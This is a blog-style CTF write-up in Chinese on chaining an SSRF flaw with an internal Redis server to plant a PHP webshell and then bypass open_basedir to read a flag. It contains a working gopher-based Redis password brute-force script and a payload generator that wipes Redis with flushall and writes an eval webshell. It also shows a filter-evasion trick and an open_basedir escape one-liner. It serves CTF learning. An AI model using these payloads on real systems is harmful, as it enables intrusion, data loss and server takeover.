Redis结合SSRF绕过disable_function getshell

0x00 前言

​ 这是一题ctf赛题,身为一个不打ctf的废物之前看见ctf赛题都不怎么做,昨日朋友发来这题,正好之前研究过redis和ssrf的组合利用正好有点遗忘了所以借此机会重新温故一下学习学习

0x01 思路

打开链接来看一下这道题目

打开链接发现就是一个正常页面,没什么操作空间,dirsearch一把梭,扫一下目录

可以看到扫出了两可疑目录

image-20200917155639176

一个个来访问一下

访问 /index.php/login

发现了题目是一段php代码

image-20200917155718344

由于本人不会php代码审计只能简单的看一下,首先看到这里有一个if的判断语句,如果我们url的参数中有file就会return false (这个地方有个坑呜呜因为这里卡了很长时间

然后继续看下面的代码

curl_init() 下面的代码很熟悉呀,这不就是ssrf的漏洞测试代码吗,还有echo 美滋滋有回显的ssrf漏洞就有了呀,正常情况下没有过滤的ssrf 可以直接利用file协议进行任意文件读取,但是显然出题人不想让我们这么轻松的就获取到flag

通常情况下ssrf 和 redis 结合的情况非常多,之前dirsearch 又扫出来了upload目录,所以思路大概率是通过ssrf + redis的结合将我们的shell文件写入到upload的目录

然后刚开始的主页面又给了我们绝对路径

image-20200917160214186

所以我们就可以知道我们upload 的目录位置为

/var/www/html/upload

既然思路都清晰了 那么就直接开始吧!

0x02 Getshell

首先利用ssrf扫描一下端口,直接利用http://127.0.0.1:6379看看就行,redis的默认端口是6379

如下图当我们请求6379的时候,浏览器会有明显的延迟

image-20200917160443712

但是如果我们请求没有开启的端口就不会有这种现象,

所以我们现在也确认了redis的端口为6379

接下来就是查看一下内网的redis是未授权访问还是弱口令

这里我简单的编写了一个redis的爆破脚本

import requests

target = "http://183.129.189.61:52400/index.php?url="  # 请输入目标url
rhost = "127.0.0.1"   
rport = "6379"

with open("/Users/wujialiang/Security/字典/密码/500-worst-passwords.txt","r+") as file:
    passwds = file.readlines()
    for passwd in passwds:
        passwd = passwd.strip("\n")
        len_pass = len(passwd)
        payload = r"gopher://" + rhost + ":" + rport + "/_%252A2%250d%250a%25244%250d%250aAUTH%250d%250a%2524"+str(len_pass)+r"%250d%250a"+passwd+r"%250D%250A%252A1%250D%250A"
        url = target+str(payload)
        text = requests.get(url).text
        if "OK" in text:
            print("[+] 爆破成功 密码为: " + passwd)
            print(text + payload)
            break

可以看到爆破成功之后结果如下

image-20200917110956903

burp 返回包

image-20200917111054706

确认了密码之后我们就可以利用dict或者gopher协议来进行redis写shell

dict协议与gopher协议都可以但是两者有些许的不同就是dict在每次发送之后都会加上一个quit然而gopher协议则不会,所以通常情况我们可以利用gopher协议

redis写shell的原理我之前有写文章过就不再赘述了

Redis Getshell方法总结

这里我们直接使用exp来进行文件上传

#!/usr/bin/env python
# -*-coding:utf-8-*-
try:
    from urllib import quote
except:
    from urllib.parse import quote
import urllib
protocol="gopher://"  # 使用的协议 
ip="127.0.0.1"
port="6379"   # 目标redis的端口号 
# 23
shell="\n\n<?php eval($_POST['cmd']); ?>\n\n"
filename="cmd1.php"   # shell的名字 
path="/var/www/html/upload"      # 写入的路径
passwd="123456"   # 如果有密码 则填入
# 我们的恶意命令 
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print quote(payload)
    # print payload

这里有一个坑,因为之前php中有一个if判断语句 如果检测到我们有file的话就会直接exit,这也是我之前很多次都没成功的原因,因为在redis写文件设置目录的时候需要用到

config set dbfilename /var/www/html/uplod

这个命令,但是这里的dbfilename中含有file

image-20200917161038014

所以这里我们要对最终生成的poc中的file利用url二次编码替换掉

替换成 %2566%2569%256c%2565

22953188-E509-4F65-BB55-26426D36D449

ps:还有一个注意点,在ssrf 结合redis中 生成的payload需要进行两次url编码,因为当我们的payload 传递到后端的时候会进行一次解码,然后在内网中又会进行一次编码

然后直接在burp中发送即可

image-20200917161404983

查看upload目录发现文件已经上传上去了

image-20200917161351774

直接蚁剑进行连接

但是发现我们只能访问 /html下的目录

image-20200917161511666

查看phpinfo发现设置中openbasedir将我们的操作只限制在了 /var/www/html下

image-20200917161659251

0x03 open_basedir bypass

open_basedir

open_basedir 将php所能打开的文件限制在目录中,当php利用fopen等函数打开文件的时候,这个文件等位置会被检查是否处于open_basedir所限制的目录中

题目这里限制了 /var/www/html/ 这个目录下,代表着我们只能读取这个目录下的文件

open_basedir指定的限制实际上是字首,而不是目录名。
举例來說: 若”open_basedir = /dir/user”, 那么目录 “/dir/user” 和 “/dir/user1″都是可以访问的

所以我们限制的时候要 open_basedir = /dir/user/ 设置

绕过

ini_set() 函数是用于修改php.ini 的配置文件

这时候我们就需要绕过,结合网上的文章(写的很详细)

https://skysec.top/2019/04/12/%E4%BB%8EPHP%E5%BA%95%E5%B1%82%E7%9C%8Bopen-basedir-bypass/

我们可以利用

mkdir('KpLi0rn');chdir('KpLi0rn');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile("/flag");

来绕过,具体需要分析php底层代码呜呜奈何本人太菜,如果后续实力允许的话会补上

简单的来说就是我们通过创建文件夹就可以构造一个向上跳跃的open_basedir,由于相对路径的原因我们可以不断的往上跳跃

跳到最后我们的open_basedir就会被设置成了 / 这样我们再重新利用ini_Set就能将open_basedir设置到我们的根目录了,这样就可以读取到我们的flag了

image-20200917162458819

发表评论

电子邮件地址不会被公开。 必填项已用*标注